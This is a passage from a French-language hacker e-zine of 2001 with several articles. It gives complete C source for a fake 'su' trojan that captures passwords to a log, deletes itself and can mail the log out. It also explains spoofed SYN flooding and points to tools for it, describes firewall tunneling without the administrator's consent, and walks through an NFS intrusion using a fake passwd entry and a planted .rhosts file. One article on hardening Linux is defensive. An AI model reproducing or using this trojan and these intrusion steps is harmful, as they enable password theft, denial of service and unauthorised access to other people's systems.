L'option "-c" utilisée lorsque la fonction system(); invoque le shell,
permet de spécifier au shell une commande précise à exécuter.
La syntaxe de la fonction system(); est :
system("commande");
ou
system(buffer);
La fonction main(); de notre programme sera apellée par :
int main ( int argc, char *argv[] )
Ici, "argc" désignera le nombre d'arguments de la ligne de commande,
argv[0], le programme lui même comme premier argument et argv[1] le second
argument.
Donc si le programme est apellé par " ./su user " :
argv[0]="su"
argv[1]="user"
Si le sutrojan est installé dans $HOME/.term voici comment le faire se supprimer de
lui-même :
char buffer [20];
sprintf(buffer, "rm -f $HOME/.term/%s", argv[0]);
system(buffer);
[ Sortie du programme ]
Une fois la commande de supression prête à être exécutée par le shell,
le programme se termine par la fonction "exit();".
Voila, nous venons de voir les grandes étapes de la programmation d'un sutrojan.
Tous les sutrojans ne sont cependant pas identiques, et on peut ajouter certaines
options, je pense par exemple à un truc du style de :
# define FILENAME "/tmp/.tmplog"
# define MAIL "yourmail@chezquivousvoulez.com"
char buffer2 [20];
sprintf(buffer, "/bin/mail %s < %s", MAIL, FILENAME);
system(buffer);
ce qui aura pour effet de vous envoyer le contenu du ficher de log par mail.
Bien, maintenant qu'on a toutes les notions, on va programmer la bête ...
2) supass.c :
_____________
Voici le code source de notre sutrojan une fois terminé.
Ce n'est qu'une version basique mais elle est suffisante pour ce à quoi on la destine.
-------------8<--- cut here --------------------------------------------------------------
/* supass.c by NeoFøx - © 2001 [IOC] - */
#include <stdio.h> /* pritnf, fprintf, sprintf */
#include <fcntl.h> /* open */
#include <stdlib.h> /* system, exit */
#include <unistd.h> /* getpass */
#define PASSLOG "/tmp/.tmplog " /* log file */
char *saisie;
char *getpass();
char buffer [20];
main ( int argc, char *argv[] )
{
/* saisie du mot de passe */
saisie=getpass("Password: ");
/* fermeture sortie standard */
close(1);
/* ouverture du fichier */
open( PASSLOG, O_CREAT | O_WRONLY | O_APPEND, 0666 );
/* ecriture dans le fichier */
printf("Login : %s\t", argv[1]);
printf("Pass : %s\n",saisie);
/* message d'erreur */
fprintf(stderr, "su : incorrect password\n");
/* supression */
sprintf(buffer,"rm -f $HOME/.term/%s", argv[0]);
system(buffer);
exit(1);
}
-------------8<--- cut here --------------------------------------------------------------
[ Conclusion ]
J'espère que vous aurez appris quelquechose en lisant ce petit article.
Si vous avez des questions, des remarques, des suggestions, des conseils
ou un billet de 500 balles à me donner, vous pouvez m'écrire à neo_fox_2001@hotmail.com.
-------------------------------------------------------------------------------------------
IV. SYNFlooding par Lex Icon
-------------------------------------------------------------------------------------------
[ INTRODUCTION]
Donc dans cet article je vais tenter de vous expliquer le fonctionnement
d'une attaque de refus de service appelée syn flooding tcp. Pour ceux qui
croient qu'une attaque dos consiste à lancer son winnuke sur son pote sur
irc, c'est raté. Une attaque dos consiste à empêcher l'utilisation d'un
service (serveur, réseau...) par ses utilisateurs légitimes. Et
contrairement à ce qu'on pense en général, la plupart des attaques dos ne
sont pas des exploitations de failles dans le logiciel mais des
exploitations de failles dans les protocoles.
[ PUBLIC VISE PAR CET ARTICLE]
J'ai simplifié cet article au minimum minimorum afin que la plupart des gens
qui me lisent comprennent ce que j'explique. Si vous voulez comprendre ce
qu'il y a écrit après ce chapitre, il vous faudra savoir comme il faut
comment fonctionne la suite de protocoles de TCP/IP. Si vous n'y comprenez
rien, courrez voir l'article de NeoFox sur TCP/IP qui est dans ce numéro. Si
vous avez rien compris mais que vous voulez quand même savoir ce qu'est le
synflooding, vous pouvez continuer quand même car j'explique quelques trucs
sur TCP/IP dans cet article.
[ PRINCIPES DE BASE TCP/IP]
Sur un réseau, quand deux machines implémentant le protocole TCP veulent
communiquer (via un logiciel implémentant lui aussi TCP), elles doivent
établir une connexion. Cette connexion se fait en 3 temps. Voici un petit
schéma que je commenterais après.
A --SYN--> B
A <-SYN/ACK-- B
A --ACK--> B
Voici mon commentaire sur ce schéma très modeste. Sur la première ligne, le
client (A) envoie une requête de connexion (SYN) au serveur (B). La requête
de connexion n'est rien d'autre qu'un simple paquet TCP (encapsulé dans un
paquet IP, mais NeoFox a du vous expliquer ça je pense). Dans ce paquet TCP
il y a des informations comme l'adresse IP du client, le port utilisé pour
émettre ce paquet, l'adresse IP du serveur ainsi que le port sur lequel le
paquet doit atterir, le bit de contrôle (SYN dans notre cas) et un numéro de
séquence (plus d'autres trucs, mais ce sont les plus importants dont j'ai
parlé). Ensuite, le serveur accepte (acquitte) la connexion (SYN/ACK). Ce
paquet contient la même chose que l'autre sauf que le bit de contrôle n'est
pas le même (c'est pas le même genre de requêtes) et qu'il y a le numéro de
séquence du serveur, qui il me semble correspond au numéro de séquence du
client (ISN pour Initial Sequence Number - Numéro de séquence initial), mais
augmenté d'une unité (ISN + 1). Puis enfin, le client accepte de se
connecter au serveur et l'échange peut commencer.
[ TRAITEMENT DES PAQUETS]
Les paquets reçus par la victime ne sont pas tous traîtés en même temps. Ils
sont mis dans une file d'attente. Le nombre de paquets pouvant être traîtés
en même temps est il me semble le backlog. Si par exemple le backlog est de
5, alors 5 paquets pourront être traîtés en même temps. Si 10 paquets sont
reçus, 5 seront traîtés et les 5 autres seront mis en attente. Dès qu'un
paquet a été traîté, un des paquets en attente est traîté. Si le paquet
envoyé par la cible n'a pas de réponse au bout d'un certain temps (variable
selon les systèmes), alors il laisse tomber. Les raisons pour lesquelles un
paquet ne pourraît pas trouver de réponse sont nombreuses et variables, mais
en général c'est parce que la machine qui doit recevoir le paquet n'existe
plus ou pas, le réseau est encombré ou alors la machine est occupée.
[ ON FAIT TOURNER LE CERVEAU]
Si vous avez compris ce que je vous ai expliqué ci dessus et que vous avez
un cerveau en assez bon état (capable de réfléchir 10 secondes), vous
connaissez alors le principe du synflooding. Pour ceux qui ont rien compris
ou qui ne voient pas là ou je veux en venir, ne vous en faîtes pas, je vais
vous expliquer :
Il suffit d'envoyer quelques milliers de requêtes SYN à la cible. Mais pas
des requêtes qui montrent qu'elles viennent de votre machine, mais des
requêtes spoofées qui semblent venir d'un serveur qui n'existe pas (une
adresse IP qui n'existe pas). La cible répondra à ces paquets en les
envoyant à l'adresse IP qui n'existe pas, et comme il n'y aura pas de
réponse en retour, la cible attendra la fin de son timeout pour abandoner sa
requête en question et passera à la suivante, qui viendra soi disant de la
même machine, ce qui fera encore attendre la cible pendant un certain temps,
jusqu'à ce qu'elle ait écoulé toutes les requêtes qu'il y a dans sa file
d'attente, ce qui peut durer quelques heures si vous en envoyez une quantité
considérable et en comptant un bon timeout bien long.
[ NEPTUNE.C]
Lorsqu'il s'agit de synflooding, ce programme devient rapidement mon
meilleur pote. C'est un code source Linux assez robuste qui est assez
efficace. Il a été développé en 1996 par Daemon9 pour le magazine phrack #49
et article numéro 13. Si vous avez des difficultés pour le compiler,
demandez le moi, je vous l'enverrais.
[ CONCLUSION]
Vous voyez qu'il est relativement facile de faire chier le monde pendant un
moment avec quelques progammes et parfois avec quelques potes.
[ REFERENCES]
Les RFCs importants sur TCP/IP
Un cours sur TCP/IP que j'ai trouvé sur madchat.org
Project Neptune par Daemon9 (phrack 48 #13)
Synflood & Syncookies par Rhino9
[ CODES SOURCES UTILES]
neptune.c
la collection des targa de Mixter (le 4 est recommandé)
synflood.c
-------------------------------------------------------------------------------------------
V. Tunneling par Lex Icon
-------------------------------------------------------------------------------------------
[ INTRODUCTION]
Cet article est certainement une première dans un magazine francophone.
Comme quoi, la scène française peut faire autre chose que du nuke ou encore
du mail anonyme. Sinon ce texte est mieux en 800x600, du moins pour bien voir
le petit schéma qui est plus bas.
[ KESAKO]
Le tunneling consiste à contourner les règles des firewalls. Par exemple,
vous êtes dans une entreprise qui a un réseau local avec un firewall qui
évite les agressions venant de l'extérieur, mais qui aussi vous empêche de
faire sortir un certain traffic. En gros, tant que le firewall met les
utilisateurs en sécurité, il réduit leur liberté. Comme la plupart des
firewalls ont tendance à bloquer le traffic s'il vient de l'extérieur, ça
peut éviter que votre machine soit victime d'une attaque de trojan si le
port correspondant est ouvert sur votre machine. Par contre, ça veut aussi
dire qu'il y a plein de choses que vous ne pouvez pas faire, comme par
exemple envoyer un X-Display à une machine qui est située de l'autre côté du
firewall. En général c'est pas possible parce que le gars qui s'occupe du
firewall n'accepte pas les connexions X (ou le port que vous voulez
utiliser).
La solution est de demander à l'administrateur d'accepter ce genre de
connexions sur le port 6000 du firewall. Bien souvent il ne le fait pas,
soit parce qu'il sait pas le faire, soit parce qu'il n'en a pas le temps,
soit parce que ça réduit quand même la sécurité du réseau interne.
Donc vous avez une autre solution, envoyer quand même ces paquets mais sans
le conscentement de l'administrateur. J'ai trouvé plusieurs programmes qui
permettent de faire ça, comme par exemple tunnelx ou tunnel. Vous pouvez
aller récupérer certains de ces programmes sur notre site.
[ LE TUNNEL]
Le programme est fait de deux parties : une partie sur votre machine
derrière le firewall, et une autre sur une machine à l'extérieur du
firewall. Le programme à l'intérieur du firewall s'appelle tunnel, et
l'autre s'appelle portal. Pour résumer le fonctionnement, le tunnel se
connecte sur le portal. Selon le niveau de sécurité, la connexion ne sera
pas interceptée. Une fois que la connexion tunnel-->portal est établie, le
portal ouvre un port TCP pour le traffic entrant et tout est prêt. Chaque
fois qu'une machine se connecte au portal, elle envoie une requête jusqu'au
tunnel via la connexion déjà établie via le firewall. Ensuite, le tunnel
routera le traffic jusqu'à votre machine.
L'effet sera simplement que vous aurez un port ouvert qui sera visible
depuis Internet, ce qui rendra la sécurité du réseau un peu moins élevée.
Voici un petit exemple que j'ai trouvé sur un site un jour :
goof = votre machine
foo = machine sur votre réseau, ou alors avec le tunnel
bar = machine sur internet ou avec le portal
boof = machine sur internet qui veut se connecter à goof
FIREWALL
tunnel ^ portal
######### ^ #########
# Foo #======================# Bar #
######### ^ #########
| ^ |
| ^ |
| ^ |
######### ^ #########
# Goof # ^ # Boof #
######### ^ #########
FIREWALL
Vous êtes sur la machine goof et utilisez un programme de la machine boof
qui utilise X, et donc vous voulez envoyer l'affichage à goof. X-Windows
essaye d'établir la connexion tcp via le firewall.
Vous lancez le tunnel sur foo et lui dites de se connecter sur le port 7000
de bar (port du portal) et configurez le tunnel pour router le trffic du
portal jusqu'à votre machine. Vous lancez le portal sur la machine BAR et
lui faîtes écouter sur le port 7000 pour le tunnel. Une fois le tunnel
connecté, le portal écoute sur le port 6001 pour les connexions X entrantes.
Chaque fois qu'une application X se connecte au portal, la connexion passe
par le tunnel qui la route ensuite vers votre machine goof sur le port 6000.
Finalement, sur la machine boof, vous mettez votre affichage sur bar:1 qui
dit à l'application d'utiliser le port 6001 (et non 6000 qui est déjà
utilisé). Si vous lancez XEyes, il fonctionnera.
[ CONCLUSION]
Si vous faîtes ça, vous violerez certainement les règles de sécurité de
votre réseau, donc il faut le raconter à personne, pas même à vos parents.
Puis sinon, vous avez pas besoin du root, ce qui rend la chose plus simple à
réaliser.
[ CODE ]
Je dois mettre quelques progs de tunneling sur le site du groupe. Ne vous en
faîtes pas, ils ne sont pas spécialement gros.
-------------------------------------------------------------------------------------------
VI. Sécurité Linux par Lex Icon
-------------------------------------------------------------------------------------------
Bon, on commence. Vous êtes content de vous être acheté Linux et de l'avoir
installé sans qu'il vous ait rien niqué. Vous le configurez de façon à ce que
sous puissiez vous connecter à Internet en vous disant comme les lamers 'bon
ben j'ai linux alors personne ne peut me hacker'. Résultat des courses, un mec
entre sur votre système et rigole bien.
Pourquoi ça ? et surtout comment cela est t'il arrivé ? ben tout simplement
parce que vous faîtes partie de la plèbe qui veut voir disparaître Microsoft
sans avoir de raison valable. Et là, vous vous demandez comment les gens font
pour penser que Linux est fiable...ils ont raison, et c'est vous qui n'avez
pas fait ce qu'il faut pour le rendre fiable.
Dans cet article, je vais tenter de vous expliquer comment faire de votre
modeste station de travail, un abri antinucléaire. Il vous faudra par contre
quelques programmes qui ne sont pas intégrés à Linux pour ça...
Voici les programmes dont vous aurez besoin...
- Linux avec kernel 2.2.x [noyau]
- IPChains (dernière version) [firewall]
- IPPL [loggueur]
- PORTSENTRY [firewall automatisé]
- LOGCHECK [vérificateur de logs]
- KDE (optionnel) [interface graphique]
- Korn [vérificateur de mails locaux]
1. Savoir de quoi on a besoin...
Tout d'abord, vous devrez savoir de quels services vous aurez besoin. Par
exemple, si vous êtes une entreprise normale, vous aurez besoin d'un serveur
HTTP, FTP, de SSH (SSF si vous êtes en France) et voilà, avec peut être un
SMTP et un POP. Je ne veux pas vous influer sur le choix du serveur que vous
prendrez, parce que ça me regarde pas, mais le seul truc que je peux vous
conseiller c'est de prendre les toutes dernières versions, car elles sont
moins de bugs découverts (ils viendront avec le temps, mais vous avez éliminé
95% de la menace). Si vous êtes un utilisateur comme moi, vous n'avez besoin
de rien en ça, sauf d'un serveur smtp que vous n'exécuterez pas en tant que
daemon (donc qui n'ouvre aucun port permanent sur internet), mais on y viendra
un peu plus tard.
Une fois que vous savez quels sont les services dont vous avez besoin, vous
pouvez fermer les autres via le daemon inetd. inetd est le daemon qui
supervise toutes les opérations qui ont un rapport avec internet. Son fichier
de configuration est /etc/inetd.conf. Vous fermez les ports que vous avez
envie de fermer en mettant un # en début de ligne. Par contre, le port ne se
fermera pas dans la seconde. Comme c'est le fichier de configuration d'un
daemon, le fichier est lu une seule fois, au démarrage du daemon, donc il
faudra redémarrer le daemon. Sur un site j'avais vu qu'il fallait rebooter la
machine, mais un simple killall -HUP inetd suffit largement. Sur ma machine,
si je veux ouvrir le port telnet, je l'ouvre depuis inetd, je redémarre inetd,
mais je n'ai aucune invite de connexion, c'est après le reboot de ma machine
que ça marche, pourtant le ftp marche (plus maintenant, vu que c'était à des
fins de tests et que je n'ai pas besoin de ftpd ni de telnetd).
Une fois que vous avez fait les mises à jour de vos daemons et que vous avez
fermé ce qui vous sert à rien, vous avez une machine normale. Il faut
maintenant installer un firewall. Je vais pas vous faire un cours sur
ipchains, mais je vais vous montrer comment autoriser la communication vers un
serveur DNS, et vous vous servirez de cette syntaxe pour tous les services que
vous voudrez autoriser.
Alors on efface tout ce qui aurait pu déjà être autorisé auparavant en tapant
ipchains -F. Puis comme on veut limiter au maximum les accès, on va tout
interdire, puis autoriser ce qu'on veut par la suite. Pour tout effacer, vous
tapez :
ipchains -P input DENY
ipchains -P output REJECT
ipchains -P foward REJECT
Puis comme on veut déjà pouvoir communiquer avec nos DNS, on vat taper :
ipchains -A input -i ppp0 -p udp -s $DNS$ 53 -j ACCEPT
ipchains -A output -i ppp0 -p udp -d $dns$ 53 -j ACCEPT
vous remplacez ppp0 par votre interface de connexion, puis $dns$ par votre
serveur DNS. Ce que vous pouvez faire, c'est mettre tout ça dans un script
shell que vous rendrez exécutable, que vous lancerez lors de votre connexion.
Si vous savez pas comment faire, demandez moi de vous envoyer mon script
shell. Ou alors, vous pouvez tout faire via l'interface graphique de ipchains
(qui s'appelle GFCC).
Ensuite, votre machine prend déjà de la gueule, mais si vous vous faîtes
attaquer, vous ne le saurez pas très rapidement, à moins d'installer un
logger. Personellement, j'utilise IPPL qui est très simple à utiliser. Vous
l'installez et tapez ippl -n pour voir ce qui se passe. Vous pouvez même
rediriger les données vers un log que vous analyserez.
J'utilise aussi le programme logcheck de la suite ABACUS Ce programme scanne
mes logs pour certains mots clés et m'avertit par mail local de ce qui se
passe. Je l'installe et comme je suis sous KDE, j'utilise le programme Korn
qui me dit si j'ai des messages locaux. Je ne mets pas que la notification
pour le root, parce que je me connecte jamais sur Internet en root, mais je
mets une notification vers mon uid. Comme ça, je suis mis au courant
immédiatement de l'attaque.
Il y a même un logger qui permet de se passer de firewall. C'est portsentry.
Je ne vais pas parler trop de sa configuration, mais si vous avez besoin
d'aide, n'hésitez pas, je suis toujours disponible, je pourrais même vous
envoyer mon fichier de configuration si vous savez pas comment le configurer.
Par contre, si vous aviez la facheuse habitude de faire du scan depuis votre
propre machine (avec nmap par exemple) je vous conseille d'abandonner parce
que ça marchera plus. Avec ipchains j'ai jamais essayé. Puis de toute façon,
je scanne que depuis mon shell account, et c'est d'ailleurs ce que je vous
conseille si vous êtes nouveau dans le hacking.
Une fois que vous avez fait tout ça, vous avez une machine qui tiendra la
route un bon moment. Pour preuve, demandez à quelqu'un de vous scanner vos
ports avec nmap (merci de ne pas me contacter pour ça), voire même de vous
hacker. Il aura pas de mal.
Si vous êtes une entreprise qui a besoin d'un accès distant comme telnet, je
vous conseille alors d'opter pour SSH. Mais quel que soit votre choix, mettez
à jour tous vos programmes, car les buffer overflows, ça existe toujours, et
ça évitera à un utilisateur local de devenir root.
Si vous avez un httpd, mettez le à jour et essayez au maximum de ne pas
utiliser de scripts cgi bien buggés comme le phf ou alors n'utilisez pas le
php 3.0, le 4.0 est bien plus sécurisé (même s'il y a encore des bugs).
Pour le ftp, n'autorisez jamais d'accès anonyme, et surtout, si vous en faîtes
un, ne mettez pas de répertoire avec des droits en écriture, ça peut coûter
cher à la fin. L'université de provence en aura souffert de ce truc avec leur
Wu-FTP 2.6.0
-------------------------------------------------------------------------------------------
VII. NFS & Intrusion par NeoFox
-------------------------------------------------------------------------------------------
[ Avertissement ]
Cet article est illustré par une dizaine de captures réalisées par mes soins, dans le but
d'illustrer un peu mes propos. Ces images au format .jpg sont disponnibles sur le site du
groupe, dans une archive .zip que nous avons mis à part pour des questions de comodité et
notemment au niveau du temps de téléchargement. L'archive .zip doit faire environ 300Ko.
Introduction :
______________
Voici un article qui aborder l'utilisation d'NFS et les risques liés à son
exploitation. On entend souvent parler d'NFS ou plus précisément de la manip qui
permet d'en abuser ... J'ai écrit cet article car je pense qu'il vaut mieux commençer
par étudier le fonctionnement de tel ou tel système aulieu de vouloir à tout prix
l'exploiter sans n'y rien comprendre.
| Chap I. Présentation d'NFS |
____________________________
Nous allons voir ce qu'est NFS, comment il s'utilise et comment il est configuré.
1.1 Généralités :
__________________
NFS signifie " Network File System ".
C'est un protocole de la couche Application qui permet à un hôte de partager ses fichiers
avec d'autres machines. Si un fichier d'une machine est utilisé via NFS par une autre,
on dit que ce fichier ou ce répertoire est " monté " ou " exporté " .
NFS est un protocole qui fonctionne sous UDP ( cf mon article sur TCP/IP ).
L'utilisaion d'NFS est transparent pour l'utlisateur pour lequel les fichiers exportés
semblent virtuellement présents sur la machine cliente.
NB : La machine qui demande le montage d'un fichier est apellée machine cliente,
celle qui permet le montage de ses répertoires est apellée serveur NFS.
NFS est souvent utilisé pour centraliser les homedirs des utlisateurs sur le serveur.
L'utlisation d'NFS est en soi assez simple commme nous allons le voir.
1.2 Utilisation :
__________________
Pour demander le montage d'un répertoire distant par NFS, il faut être autorisé par
le serveur NFS, et utiliser certaines commandes au prompt.
Les commandes en question sont " mount " ( pour monter ) et " umount " ( pour démonter ).
Mount et unmount doivent vous être familiers si vous avez un tant soit peu l'habitude de
linux car ce sont les commandes permettant d'accéder au lecteur de disquettes et au
CD-ROM.
Voici la syntaxe de mount :
[root@localhost /root]# mount [options] [machine]:[/répertoire] [/répertoire local]
Pour monter un fichier il faut en général être root sur sa machine.
Vous devez ensuite créer un répertoire local vide qui sera le point de montage.
La machine cible possède un répertoire apellé " répertoire distant " .
Cette commande demande donc le montage du répertoire distant dans le point de montage
qui est votre répertoire local.
Lorsqu'on descend dans le point de montage, on peut consulter
les fichiers du répertoire distant tout en ayant l'impression qu'ils sont sur la machine
locale.
Lorsqu'on en a treminé avec le répertoire il suffit de le démonter avec umount.
Voici la syntaxe de umount :
[root@localhost /root]# umount point-de-montage
Cette commande demande donc le démontage du fichier.
Si l'on redescend ensuite dans le répertoire de montage, celui-ci sera à nouveau vide.
Lorsqu'une machine locale monte un répertoire distant, un entrée temporaire est crée
dans le /etc/mtab local.
Le ficher /etc/mtab contient la liste de tout les fichiers montés sur un machine.
Y figurent des entrées correspondant au fichiers système montés au démarrage de la machine,
comme les partitions, le lecteur de disquettes ( /mnt/floppy ) et de CD-ROM ( /mnt/cdrom ).
Le fichier mtab liste l'ensemble des fichiers systèmes qui sont montés en ce moment même
sur la machine. On y trouvera aussi des entrées NFS si des montages sont en cours.
Pour ne pas qu'un montage NFS laisse de trace dans le mtab , on peut utiliser l'option
" -n ". La commande de montage complète devient donc ( en y ajoutant -n et -t nfs pour
signaler qu'on veut utiliser NFS ) :
[root@localhost /root]# mount -nt nfs serveur.reseau.com:/répertoire-distant /point-montage
La figure 1 montre le ficher mtab lorsqu'un montage a été fait avec option ce qui ne laisse
pas de traces, et un autre fait sans options où l'on voit clairement qu'un montage nfs
est en cours.
Figure 1
Les entrées de /etc/mtab sont générées par une procédure automatique lançée au démarrage.
Elle s'appuie sur le fichier /etc/fstab.
Le fichier /etc/fstab contient la liste des fichiers système qui doivent être montés
automatiquement au démarrage. Ce fichier indique que seront montés au démarrage, les
partitions, le lecteur de disquette et le CD. Il peut contenir aussi une ou plusieurs
entrées NFS qui demanderont le montage de tel ou tel répertoire distant lors du démarrage.
Pour demander un montage automatique, vous pouvez ajouter autant d'entrées que vous voulez
à fstab comme on le voit sur la figure 2.
Figure 2
Sur cette capture on voit qu'au démarrage sera demandé automatiquement le montage du
répertoire /home/fox de la machine myserver dans le /home local tout cela en plus des
fichiers standards ( partitions etc ... ) .
Vous savez à présent comment monter et démonter un système de fichiers depuis une machine
distante sur la votre.
1.3 Système d'authenfication :
______________________________
On ne peut monter un système de fichier distant que si le serveur NFS qui met à disposition
ses répertoires nous autorise à le faire.
Alors comment savoir qui peut monter quoi ?!
Pour qu'un hôte ait le droit de faire un montage NFS, il faut que le serveur NFS
l'authentifie comme "ami" ou " de confiance " .
Cette authentification s'appuie sur le fichier /etc/exports.
La figure 3 présente un exmple de fichier exports.
Figure 3
Le fichier /etc/exports définit quelles machines seront autoriées à effectuer un montage.
On voit sur ce fichier que la machine autorise le montage de son /usr/local et de
son /export/home par les machines de son réseau, spot,king, pluto, astro et spike.
Seules les machines que nous venons de citer sont autorisées à monter les répertoires
visés. Si une personne veut demander le montage depuis une autre machine, sa demande sera
rejetée par le serveur.
Pour savoir à qui un serveur autorise le montage de ses fichiers, on peut utiliser la
commande " showmount ". Cette commande permet de voir la liste des fichiers exportables.
Elle provoque en somme l'affichage de /etc/exports.
Voici la syntaxe de la commande showmount :
[root@localhost /root]# showmount [option] [machine]
Les options de showmount sont " -a " et " -e " .
Lorsqu'une machine A a monté ne serait-ce qu'une fois les fichiers d'une machine B, B garde
en mémoire ( si vous savez où, vous êtes plus au point que moi et n'avez pas besoin de lire
ceci ) une trace de ce montage.
L'option " -a " permet donc d'afficher la liste de hôtes qui ont déja monté au moins une fois
un fichier de la machine en question. Si comme vous le verez sur la figure 4 vous avez
monté un fichier de cette bécane, votre nom d'hote sera inscrit dans cette liste.
( La faut afficher la figure 4 ... )
Figure 4
Vous voyez sur cette figure que j'ai monté certains fichiers de ces 2 machines.
Ici "localhost.localdomain" est le nom d'hôte par défaut de ma machine.
Dites vous bien que si vous ne souhaitai pas laisser de telle trace pour une raison
qui vous est propre, il faut mieux demander le montage depuis une autre machine,
pas depuis la vôtre.
L'option " -e " permet quant à elle de consulter la liste des fichiers exportables
d'une machine en demandant l'affichage de son /etc/exports.
En clair, ça permet de savoir qui peut monter quoi.
En résumé, le système d'authentification utilisé par NFS est basé sur
une reconnaissance des nom d'hôtes ou des adresses logiques.
NFS compare ensuite la requête avec le contenu de /etc/exports et détermine
si la machine cliente peut ou non accèder à ses ressources.
Voici un petit script apellé " cmount.pl " qui permet de faire un " showmount -e " à
toute une liste de machines ( liste que vous apellerez " domains " ).
--------------------------- cut here ------------------------------------------------
#!/usr/bin/perl -w
#
# Assign null list to @URLs which will be added to later.
my(@result) = ();
my(@domains) = ();
my($program) = "showmount -e ";
# Pull off filename from commandline. If it isn't defined, then assign default.
my($DomainFilename) = shift;
$DomainFilename = "domains" if !defined($DomainFilename);
# Do checking on input.
die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename);
# Open $DomainFilename.
open(DOMAINFILE, $DomainFilename) or
die("mountDomains: Cannot open $DomainFilename for input.\n");
while (<DOMAINFILE>) {
chomp($_);
print "Now checking: $_";
# Note difference in program output capture from "geturl.pl".
open (EXECFILE, "$program $_ |");
@execResult = <EXECFILE>;
next if (!defined($execResult[0]));
if ($execResult[0] =~ /^Export/) {
print " - Export list saved.";
open (OUTFILE, ">$_.export");
foreach (@execResult) {
print OUTFILE;
}
close (OUTFILE);
}
close(EXECFILE);
print "\n";
}
# We are done. Close all files and end the program.
close (DOMAINFILE);
0;
---------------------- cut here -----------------------------------------------------
| Chap II. NFS & Sécurité |
__________________________
Nous allons voir comment l'utilisation d'NFS peut engendrer des problèmes
de sécurité et tant qu'à faire, comment en profiter pour gagner l'accès au
système.
2.1 Faiblesses d'NFS :
______________________
On sait qu'NFS utlise un système d'authentification basé sur la reconaissance
des hôtes et non des utlisiateurs. Donc si un intrus a un accès illégal à une
machine amie, il pourra accéder à toutes les ressources NFS auquelles cette
machine a accès. Imaginez alors qu'une machine A autorise le montage de tous
ses fichiers à la machine B sur laquelle un intrus à un accès root ...
Sur un réseau où troune NFS, il y possibilité de déterminer les relations
de confiance existant machines d'un même réseau.
En effet, en consultant /etc/exports par un showmount -e ou la liste des machines
qui ont déja monté le serveur par un showmount -a on peut savoir qui fait confiance
à qui. Un attaquant peut ainsi spoofer l'IP d'une machine " amie " pour en attaquer
une autre.
Deplus, si une machine permet à une autre de monter des fichiers "sensibles" comme
les homedirs, on peut penser qu'elles peuvent entretenir des relations de confiance
par commandes *R. Si l'attaquant à accèss à un compte d'user, il est possible qu'il
puisse accèder par rlogin au compte de cet user sur une machine amie.
Enfin, la principale " faille " engendrée par NFS est du a une mauvaise configuration
de /etc/exports. C'est celle-ci que nous allons exploiter plus loin.
Dans l'exemple de la figure 3, exports est bien configuré, puisqu'aucune machine autre
que celles y figurant ne peuvent monter quoi que ce soit.
Ce n'est pas toujours le cas.
Certains administrateurs désirant permettre à toutes les machines de leur réseau
de monter les systèmes de fichiers d'une autre machine, configurent son /etc/exports
comme celui de la figure 5.
Figure 5
On voit que la machine autorise à monter certains répertoires importants mais que
la liste des hôtes autorisés à le faire n'est pas indiquée. Enfait, NFS en déduira
que les fichiers conçernés sont accessibles à tout le monde.
Le " Showmount -e " va donc donner la capture figure 6.
Figure 6
On y voit les " evryone " ce qui signifie comme nous venons de dire que tout le monde,
vous et moi y compris, avons le droit d'accéder à ces fichiers.
Une alternative pour permettre le montage par toutes les machines du réseau
( ici Kent.edu ) serait de configurer le /etc/exports de la machine comme
celui de la figure 7.
Figure 7
Dans le cas où l'administrateur aurait mal configuré le /etc/exports, il y a possibilité
comme nous allons le voir, de gagner l'accès au système.
2.2 Abuser d'NFS :
__________________
Nous allons voir les grandes étapes de l'attaque.
Dans un premier temps, on va voir ensemble le concept de l'intrusion, et
ensuite rapeler les notions qu'il vous faut connaître.
Le but du jeu et de pouvoir monter grâce à NFS un homedir d'utilisateur sur la machine
attaquante. Dans ce homedir, il faudra gagner les droits du propriétaire des fichiers
afin d'avoir le droit d'écriture et de pouvoir ainsi plaçer un .rhosts qui nous
permettra par la suite de nous loger avec rsh ou rlogin.
Voyons tout cela en détail :
Tout dabord, il vous faut faire un showmount -e pour savoir a quoi vous pouvez avoir accès.
Admettons que la machine vous laisse monter un répertoire.
Il faut qu'un de ces répertoires soit un homedir pour y placer un .rhosts.
Il vous faut vérifier la position des homedirs grâce à la commande finger.
Sa syntaxe :
[root@machine-attaquante]# finger -l user @machine-cible.com
Ce qu'il vous faut c'est le login d'un utilisateur afin de pourvoir vérifier l'emplaçement
de son compte. Essayez avec le login guest ( c'est un compte par défaut ).
Donc vous faites un " finger -l guest @cible.com " ou encore dans votre navigateur
" http://machine-cible.com/cgi-bin/finger?guest ".
Si cela ne fonctionne pas il vous faudra essayer finger sur un autre nom d'utilisateur.
Faites un " finger @cible " pour voir qui est connecté.
S'il y a quelqu'un, faites un finger sur lui pour savoir où est son homedir.
Vous pouvez trouver un nom d'user par divers moyens.
Faites un whois sur la cible et essayez les noms qu'il vous sort.
La commande EXPN lors d'une connection Telnet au port 25 peut aussi s'avérer utile.
Bref, vous devez avec tout ça avoir un nom d'utilisateur sur lequel vous ferez un finger
vous aperçevoir que son homedir est enfait situé dans le répertoire auquel vous avez
accès par NFS.
Il vous faut donc créer un répertoire teporaire pour demander le montage de ce homedir.
Une fois le répertoire monté, vous devez y descendre et faire un " ls -al".
Vous voyez avec cette commande l'uid/gid de l'utilisateur ( appellons le toto ).
Seul toto à le droit d'écrire dans ce répertoire. Si vous voulez créer un fichier .rhosts
dans le homedir de toto, vous ne pouvez le faire que si vous êtes un utilisateur
du même nom avec les mêmes uid/gid à moins que le homedir lui même ne soit " drwxrwxrwx "
c'est à dire en lecture/écriture pour tout le monde.
On rapelle qu'à ce stade de la manoeuvre, vous travaillez toujours sur votre machine,
la machine d'attaque, sur laquelle est monté le homedir.
Comme vous êtes root sur cette machine locale, vous pouvez taper une commande du style
[root@machine-attaquante]# echo toto:*:uid:gid:toto:/:/bin/sh >> /etc/passwd
Vous venez de créer un utilisateur toto sur la machine d'attaque.
Vous devenez donc toto en faisant un " su toto ".
De retour dans le homedir monté, vous avez maintenant l'uid et le gid de toto et vous pouvez
donc y plaçer un .rhosts.
On va revoir le principe des commandes *R ( rlogin, rsh ... ) pour savoir quoi mettre dans
ce .rhosts que nous venons de créer.
Les commandes R*, ou remote, permettent à un utilisateur de se loger sur son compte
sans avoir à fournir de mot de passe.
Pour savoir à qui donner un tel accès, les commandes remote se basent sur un fichier
présent dans le homedir de l'utilisateur : il s'agit du fichier .rhosts ( remote host ).
Un utilisateur, ce cher toto, vient de la machine A et possède un compte sur machine B.
Seulement, il en a marre se pauv' toto d'avoir toutjours à se loger sur B avec un mot
de passe de 8 caractères chiant à retenir. Il va se dire qu'avec un point .rhosts
il pourait se loger sans se soucier du password. De toute façon, il est le seul
